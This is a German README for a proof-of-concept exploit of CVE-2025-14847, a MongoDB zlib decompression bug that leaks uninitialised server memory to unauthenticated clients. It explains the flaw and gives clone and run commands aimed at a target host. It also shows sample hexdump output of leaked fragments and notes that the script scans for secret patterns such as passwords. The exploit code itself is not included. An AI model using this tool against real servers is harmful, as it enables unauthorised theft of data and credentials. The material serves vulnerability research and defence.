CVE-2025-14847 – MongoDB Nicht authentifizierter Speicherleck-Exploit

Übersicht

Ein Proof-of-Concept (PoC) Exploit für die MongoDB zlib-Dekomprimierungs Sicherheitslücke, die es nicht authentifizierten Angreifern ermöglicht, sensible Serverspeicher zu lesen.
Der PoC ist in Python 3 implementiert und zeigt, wie ein bösartiges OP_COMPRESSED-Paket den Fehler auslösen kann, wodurch MongoDB nicht initialisierten Speicher als BSON-Daten zurückgibt.

Was der Exploit tut

Die Sicherheitslücke wird durch einen Fehler in der zlib-Nachrichtendekomprimierung von MongoDB verursacht:

1. Eine komprimierte Nachricht mit einer überhöhten uncompressedSize-Angabe wird gesendet.
2. MongoDB weist einen großen Puffer zu basierend auf diesem überhöhten Wert.
3. zlib dekomprimiert die tatsächlichen Daten in den Anfang dieses Puffers.
4. MongoDB behandelt den gesamten Puffer als gültige Daten, was zum Lesen von nicht initialisiertem Speicher führt.
5. BSON-Parsing liest dann „Feldnamen“ aus diesem Speicher, bis ein Nullbyte erreicht wird, wodurch versteckte Daten offengelegt werden.

Der PoC sendet ein präpariertes OP_COMPRESSED-Paket und analysiert die Fehlerantwort des Servers, um durchgesickerte Datenfragmente wiederherzustellen.

Voraussetzungen

Installation

# Klone das Repository (oder kopiere das Skript)
git clone https://github.com/lincemorado97/CVE-2025-14847.git
cd cve-2025-14847

# (Optional) Installiere erforderliche Python-Pakete
pip install -r requirements.txt

Verwendung

python exploit.py [OPTIONEN]

Beispiel:

python exploit.py --host 10.0.0.5 --port 27017 --min-offset 50 --max-offset 5000 --output leaks.bin

Beispiel

$ python3 exploit.py 
11:02:41 CVE-2025-14847     INFO │ [*] Target: localhost:27017
11:02:41 CVE-2025-14847     INFO │ [*] Scanning offsets 20-8192
11:02:41 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:41 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:41 CVE-2025-14847     INFO │ 00000000:  20 6f 62 6a 65 63 74 20 77 69 74 68 20 75 6e 6b  | object with unk|
11:02:41 CVE-2025-14847     INFO │ 00000010:  6e 6f 77 6e 20 5f 69 64                          |nown _id|
11:02:41 CVE-2025-14847     INFO │ [+] offset=  39 len=  24:
11:02:45 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:45 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:45 CVE-2025-14847     INFO │ 00000000:  73 20 73 6b 69 70 70 65 64 20 64 75 72 69 6e 67  |s skipped during|
11:02:45 CVE-2025-14847     INFO │ 00000010:  20 74 72 65 65 20 77 61 6c 6b                    | tree walk|
11:02:45 CVE-2025-14847     INFO │ [+] offset=3064 len=  26:
11:02:50 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
....
11:02:50 CVE-2025-14847     INFO │ [+] offset=6663 len=  38:
11:02:52 CVE-2025-14847  SUCCESS │ [*] Total leaked: 496 bytes
11:02:52 CVE-2025-14847  SUCCESS │ [*] Unique fragments: 85
11:02:52 CVE-2025-14847  SUCCESS │ [*] Saved to: leaked.bin

Das Skript protokolliert jedes interessante Fragment (Länge > 10 Bytes) und gibt eine Hexdump-Ansicht aus. Alle durchgesickerten Daten werden an leaked.bin angehängt.

Verstehen der Ausgabe

• Hexdump: Zeigt einen Teil der durchgesickerten Daten in Hex und ASCII.
• Log-Zeilen: [+] offset= <doc_len> len= <len> gibt an, wo ein Fragment gefunden wurde.
• Insgesamt durchgesickert: In die Ausgabedatei geschriebene Bytes.
• Eindeutige Fragmente: Erkannte unterschiedliche Datenblöcke.
• Geheimnis-Erkennung: Das Skript gibt alle vordefinierten Muster (password, secret, usw.) aus, die in den durchgesickerten Daten gefunden wurden.

Referenzen

• CVE-2025-14847 – https://nvd.nist.gov/vuln/detail/CVE-2025-14847
• Analyse: https://www.ox.security/blog/attackers-could-exploit-zlib-to-exfiltrate-data-cve-2025-14847/

Haftungsausschluss

Dieser PoC wird "wie besehen" ohne jegliche Garantie bereitgestellt. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Skript verursacht werden. Nutzung auf eigene Gefahr.